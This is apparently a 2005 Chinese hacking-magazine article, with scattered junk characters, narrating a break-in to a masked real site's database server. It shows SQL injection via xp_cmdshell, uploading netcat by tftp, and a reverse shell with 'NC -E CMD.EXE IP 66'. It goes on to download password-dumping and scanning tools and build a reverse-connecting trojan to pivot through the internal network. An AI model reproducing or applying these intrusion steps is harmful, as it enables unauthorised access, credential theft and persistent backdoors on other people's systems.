图/文 勇哥儿 6 i4 j! p! Q1 ]
' F$ e' o1 w; }' Y7 D- {本文已在黑客防线05年第3期发表 6 Y" u: h3 ~) L( t
04年不平凡的一年,各种 漏洞相继发现,各种 入侵技巧也应运而生,原本固若金汤的机器,在新的 漏洞面前,也变的弱不禁风。牛人发现并编写的Serv-u的溢出程序,为提升系统权限大开方便之门,NBSI把SQL注入发挥的淋漓尽致,PHP注入也日趋成熟,哪位怪才发现的上传 漏洞在很多脚本中也都花样倍出,像DV,DZ等等大名鼎鼎的 论坛也是 漏洞叠报,数家著名公司被敲诈,黑客组织也是明争暗斗,虚拟主机也饱受旁注困扰。攻与防就像矛与盾,从某种意义上来说,攻就是防,防就是攻!
) z1 m, E$ A$ N. U7 @% y“千里之堤,溃于蚁穴”,一个小小的 漏洞就可以攻克一台机器,甚至占领整个内部网络。本文以一台机器为突破口,然后如何利用内网其它机器做跳板,最后控制目标机器(如果说利用一台机器上的某个站点来控制其它站点叫直接旁注的话,偶想把利用同一网内最弱的一台机器,来达到控制最强的机器叫问接旁注,比渗透 入侵偶觉着好听点,其实方法很多牛人早用烂了,偶在这里现丑了)。
3 S1 h+ Y4 Q5 w$ V9 V1 @8 X
) @6 A+ q8 u$ h. p& h利用NBSI扫描发现存在SQL注入 漏洞,而且还是SA权限,如图1
! f3 q% |' e: P7 W; n- l/ d ; K4 l# r: b9 ], v0 i' W i# f5 y$ l
图1
/ ]$ Z6 ?9 a& M3 i' Y利用NBSI的DOS执行命令,输入ipconfig –all 发现网址与WEB 服务器不同,但是从网关上来看是在同一网段内。执行netstat –an查看 数据库服务器所开的端口,发现很多1433端口都是WEB 服务器连接,21,23,80端口没!利用NBSI的浏览目录功能,没发现机器上存在PCANYWHERE和SERV-U(利用它们可以远程控制,提升权限,或猜测口令)。利用net start 命令没发现如瑞星,KV等杀毒 软件或 _blank"> 防火墙服务,然后利用HSCAN1。2和NMAP3。7扫描 数据库服务器的外网IP进,竟然没扫到一个开放的端口!(估计机器上装了硬件 _blank"> 防火墙!)对付 _blank"> 防火墙,偶想到了反向链接,在本地开了一个TFTP,利用命令, tftp –I ip get nc.exe 很幸运的上传了一个NC上去,利用同样的方法也上传了一个MT。EXE(MT.EXE是一个网络管理方面的 软件,依照yy3的说法,也就是 "七拼八凑来的,纯粹是图个方便。"可是这个方便个真的是太方便了,仅40K的一个程序,但是集合了近四十种的命令于一身)上去。也可以利用FTP命令,把FTP命令用ECHO命令写进一个文件里面,最后在用FTP –S:FILENAME来实现文件的下载。在本机利用NC监听66端口,命令如下:NC –L –P 66 ,远程机器上执行:NC –E CMD。EXE IP 66不一会儿,一个SHELL就出来了(还是在这里面运行命令爽啊,在NBSI里憋死了,有时在NBSI里执行命令时会出现“意外数据”,还要被破在游览器里执行 _cmdshell%20'dos">http://www.***.com.tw/***/***.asp? mode=1&ID=256;exec%20master..xp _cmdshell%20'dos command';--)利用net view 命令查看共有三台机器!如图2
% s5 c$ z# D3 d* \5 o& \; i
9 k. p+ j( d3 j2 k9 r. m2 _+ m$ s! e 图2
) @& }& D& u' s' i3 G在利用命令:NET VIEW \\机器名 时得到的内容为空,看来是没共享目录啊!
L( A2 f4 M6 d8 O二、上传反弹、监听 木马显奇功。
6 M, b" A# }! w5 V' F利用MT。EXE –SYSINFO命令显示出 数据库服务的系统信息,网卡信息,配置信息,和所安装的 软件信息。如图3(只截了系统信息)
1 |) A9 c9 U4 Y% |9 Y* u( o/ N" j
( f4 `6 n7 |7 Y7 p2 v ' a3 }: i4 |3 w6 ?# d
图3
( r0 z3 J' G' ~是WIN2003怪不得用MT –FINDPASS命令没显出 密码来,它只显示的 2K的 密码。利用命令mt –netget http://www.***.com/findpass2003.exe(mt -netget <url> <filename to saved> ---Download from http/ftp.)下载到本地一个看WIN2003 密码的 软件!!运行findpass2003.exe后没有在内存中找到 密码!(看来的想办法让管理员登录了!哈哈) & b5 C. r& {5 V
运行命令: mt –netget http://www.***.com/hacan120.rar hscan.rar 下载一个HSCAN1。2进去,利用同样的方法又下载进去一个UNRAR。EXE然后执行命令:unrar.exe x hscan.rar 这样就把HSCAN。RAR解压到HSCAN目录当中了!可以利用HACSN1。2版本的DOS命令进行内网扫描,命令如下:hscan -h www.target.com -all –ping扫完其余两台以后没发现任何弱口令,但发现它们在内网中开了很多端口,如:21,80,135,139,3389 等 $ N7 x* Z x& P) j
注意:HSCAN扫描完了以后,会生成报告,自动用浏览器打开,应该利用MT –PSLIST 和MT –PSKILL把这个浏览器关掉!
7 j* b$ K# o8 }# U即然开了3389能不能利用端口重定向,把它定向到 数据库这台机器上呢,经过实践利用mt -redirect <TargetIP> <TargetPort> <ListenPort> ----TCP port redirector. 和利用FPIPE都没有成功(定向后,用NETSTAT –AN命令看是端向成功,但是在外网还是没法访问)哪 数据库这台机器能不能利用带反弹型的图形 木马来控制屏幕呢?实践证明利用神气儿,灰鸽子,溯雪都失败了!看来只能装DOS版的后门了,哪试试APR欺骗如何?因在DOS下没法安装图形界面的WINPCAP,所以ARPSINFFER。EXE无法运行!(后来自己做了一个DOS版的)
, \0 s( x" M+ {8 C8 C这台机器上除了操作系统, 数据库,WIN2003补丁外什么都没装,难道真的就没有办法了吗?这时偶想到了一个 木马,一个女黑客编写的,即有反向连接功能,又有监听功能,是什么呢?聪明的朋友,你猜到了吗?她就是大名鼎鼎,如雷贯耳,威名远波,无所不知的WOLLF(偶好喜欢她啊! 哈哈)运行WOLLF –SETUP后做一个反向链接的 木马,偶选择的是反向链接所取的IP放在一个HTTP空间的文件中!制作好后,同样利用MT。EXE –NETGET命令下载到 数据库服务器当中,运行后,它会自动向你的HTTP空间中存放的文件中去取反向链接的IP和端口,这时你可以在本机上用NC –L –P PORT 慢慢等待,一会以后,反向连接成功了,输 密码进入吧!如图4
2 e0 W7 @- M# Q+ b9 b% @, a9 V & i' s, ?, R! e- M; I- k0 |
! E0 t) C- G$ ?- `* y/ L
图4 |